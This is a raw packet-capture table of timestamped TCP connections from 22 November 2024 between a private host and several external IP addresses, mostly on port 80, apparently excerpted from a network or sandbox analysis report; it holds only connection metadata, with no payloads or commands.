Nov 22, 2024 23:06:32.735964060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.736006975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.736042976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.736062050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.736254930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.736311913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.736342907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.736474991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.737011909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.737076998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.737307072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.737364054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.737912893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.737974882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.738166094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.738225937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.738742113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.738805056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.738897085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.739016056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.739629030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.739701033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.740571976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.740587950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.740602016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.740631104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.740673065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.741400003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.741605043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.742312908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.742331982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.742347002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.742374897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.742410898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.743124008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.743168116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.743194103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.743222952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.744019985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.744100094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.744184017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.744338989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.744934082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.744951010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.744995117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.745019913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.745719910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.745767117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.746084929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.746148109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.746666908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.746686935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.746731997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.747565985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.747628927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.748464108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.748481035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.748495102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.748536110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.748594999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.749226093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.749408960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.749422073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.749469995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.750082970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.750127077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.750327110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.750370979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.751028061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.751076937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.751102924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.751152992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.751849890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.751904964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.752372026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.752424955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.752737045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.752753019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.752793074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.752808094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.753604889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.753657103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.754553080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.754571915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.754587889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.754622936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.754663944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.755384922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.755434036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.756309986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.756330013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.756345034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.756382942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.756427050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.757071972 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.757072926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.757136106 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.757150888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.757184029 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.757220030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.757292032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.757925034 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.757942915 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.757994890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.758059025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.758150101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.758260965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.758850098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.758917093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.759151936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.759212017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.759778976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.759800911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.759866953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.759885073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.760601997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.760675907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.760690928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.760737896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.761516094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.761589050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.761612892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.761643887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.762336969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.762387991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.762456894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.762501955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.763231039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.763279915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.764161110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.764180899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.764195919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.764193058 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.764233112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.764278889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.764288902 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.764401913 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.765072107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.765152931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.765480042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.765530109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.765942097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.765999079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.766803026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.766824961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.766840935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.766891003 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.766892910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.766931057 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.767587900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.767662048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.768224001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.768289089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.768408060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.768443108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.768485069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.769316912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.769387960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.769471884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.769648075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.770205021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.770270109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.770736933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.770802975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.771070957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.771127939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.771183968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.771291971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.771945953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.772011995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.772114992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.772253990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.772917986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.772937059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.772973061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.772989988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.773767948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.773818970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.774594069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.774610996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.774661064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.809114933 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.810857058 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.810883045 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.811301947 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.811306000 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.826503038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.887609005 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.887711048 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.887859106 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.888508081 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.888524055 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.925952911 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.926052094 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.926105022 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.926292896 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.926292896 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.926311016 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.926322937 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.929646969 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.929676056 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.929735899 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.930026054 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.930041075 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.946012020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.978683949 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.978858948 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.978919983 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.000422001 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.000461102 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.000488043 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.000504971 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.006377935 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.006444931 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.006499052 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.007595062 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.007649899 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.007714033 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.008121014 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.008132935 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.008145094 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.008151054 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.008162975 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.008183002 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.011234045 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.011251926 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.011324883 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.012732029 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.012743950 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.023004055 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:33.023096085 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:33.023174047 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:33.023394108 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:33.023415089 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:33.023477077 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:33.024404049 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:33.024445057 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:33.024512053 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:33.024769068 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:33.024807930 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:33.024867058 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:33.024883032 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:33.025163889 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:33.025182009 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:33.071288109 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.071573973 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.071640968 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.072359085 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.072602987 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.072616100 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.072892904 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.073580027 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.073829889 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.073858023 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.074405909 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.074583054 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.125458956 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.125478983 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.260905027 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.260960102 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.261173010 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.264023066 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.264044046 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.264055014 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.264060974 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.268147945 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.268172026 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.268271923 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.268516064 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:33.268529892 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:33.285346985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.285358906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.285427094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.285587072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.285655022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.285743952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.285789967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.286492109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.286504030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.286537886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.286554098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.287000895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.287108898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.287162066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.287899017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.288048983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.288193941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.288258076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.288774967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.288827896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.288965940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.289046049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.289669991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.289681911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.289719105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.289736986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.290534019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.290546894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.290632963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.290632963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.291367054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.291459084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.291527987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.292237997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.292385101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.292412996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.292443037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.293112993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.293365955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.293447018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.294014931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.294065952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.294114113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.294871092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.295016050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.295181990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.295228958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.295722008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.295782089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.295826912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.295938015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.296618938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.296700954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.296703100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.296751976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.297523975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.297535896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.297566891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.297580957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.298365116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.298502922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.298669100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.298724890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.299215078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.299370050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.299717903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.299866915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.300084114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.300143003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.300833941 CET	80	49762	185.215.113.206	192.168.2.5
